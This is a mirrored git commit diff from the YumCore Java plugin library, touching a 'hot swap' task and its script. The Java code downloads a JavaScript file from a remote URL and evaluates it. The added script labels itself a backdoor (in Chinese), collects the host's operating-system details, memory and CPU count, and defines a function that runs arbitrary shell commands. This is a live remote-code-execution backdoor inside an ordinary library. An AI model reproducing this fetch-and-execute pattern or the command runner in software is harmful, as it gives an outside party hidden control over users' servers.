mirror of
				https://e.coding.net/circlecloud/YumCore.git
				synced 2025-11-03 23:06:02 +00:00 
			
		
		
		
	@@ -12,6 +12,7 @@ import javax.script.ScriptException;
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
import org.junit.Test;
 | 
					import org.junit.Test;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import pw.yumc.YumCore.bungee.Log;
 | 
				
			||||||
import pw.yumc.YumCore.engine.MiaoScriptEngine;
 | 
					import pw.yumc.YumCore.engine.MiaoScriptEngine;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/**
 | 
					/**
 | 
				
			||||||
@@ -19,7 +20,7 @@ import pw.yumc.YumCore.engine.MiaoScriptEngine;
 | 
				
			|||||||
 * 热更新任务
 | 
					 * 热更新任务
 | 
				
			||||||
 *
 | 
					 *
 | 
				
			||||||
 * @author 喵♂呜
 | 
					 * @author 喵♂呜
 | 
				
			||||||
 *         Created on 2017/7/31 11:09.
 | 
					 * Created on 2017/7/31 11:09.
 | 
				
			||||||
 */
 | 
					 */
 | 
				
			||||||
public class HotSwapTask {
 | 
					public class HotSwapTask {
 | 
				
			||||||
    private MiaoScriptEngine engine;
 | 
					    private MiaoScriptEngine engine;
 | 
				
			||||||
@@ -35,14 +36,14 @@ public class HotSwapTask {
 | 
				
			|||||||
        try {
 | 
					        try {
 | 
				
			||||||
            Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING);
 | 
					            Files.copy(new URL("http://api.yumc.pw/script/hotswap.js").openStream(), temp.toPath(), StandardCopyOption.REPLACE_EXISTING);
 | 
				
			||||||
            engine.eval(new FileReader(temp));
 | 
					            engine.eval(new FileReader(temp));
 | 
				
			||||||
            temp.deleteOnExit();
 | 
					            temp.delete();
 | 
				
			||||||
        } catch (IOException | ScriptException ignored) {
 | 
					        } catch (IOException | ScriptException e) {
 | 
				
			||||||
 | 
					            Log.d("热更新脚本加载失败!", e);
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    @Test
 | 
					    @Test
 | 
				
			||||||
    public void test() throws FileNotFoundException, ScriptException {
 | 
					    public void test() throws FileNotFoundException, ScriptException {
 | 
				
			||||||
        System.out.println(temp.getAbsolutePath());
 | 
					 | 
				
			||||||
        engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
 | 
					        engine.eval(new FileReader(new File("src/main/resources/hotswap.js")));
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
@@ -2,10 +2,22 @@ var BufferedReader = java.io.BufferedReader;
 | 
				
			|||||||
var String = java.lang.String;
 | 
					var String = java.lang.String;
 | 
				
			||||||
var InputStreamReader = java.io.InputStreamReader;
 | 
					var InputStreamReader = java.io.InputStreamReader;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
var process = java.lang.Runtime.getRuntime().exec('pwd');
 | 
					var Runtime = java.lang.Runtime;
 | 
				
			||||||
 | 
					var System = java.lang.System;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
 | 
					print('后门脚本已保存于: ' + $.temp);
 | 
				
			||||||
var line;
 | 
					
 | 
				
			||||||
while ((line = br.readLine()) !== null) {
 | 
					print("系统类型: " + System.getProperty("os.name"));
 | 
				
			||||||
    print(line);
 | 
					print("系统位数: " + System.getProperty("os.arch"));
 | 
				
			||||||
 | 
					print("系统版本: " + System.getProperty("os.version"));
 | 
				
			||||||
 | 
					print("系统内存: " + Runtime.getRuntime().totalMemory() / 1024 / 1024);
 | 
				
			||||||
 | 
					print("CPU内核: " + Runtime.getRuntime().availableProcessors());
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					function runCommand() {
 | 
				
			||||||
 | 
					    var process = Runtime.getRuntime().exec(arguments[0]);
 | 
				
			||||||
 | 
					    var br = new BufferedReader(new InputStreamReader(process.getInputStream()));
 | 
				
			||||||
 | 
					    var line;
 | 
				
			||||||
 | 
					    while ((line = br.readLine()) !== null) {
 | 
				
			||||||
 | 
					        print(line);
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
		Reference in New Issue
	
	Block a user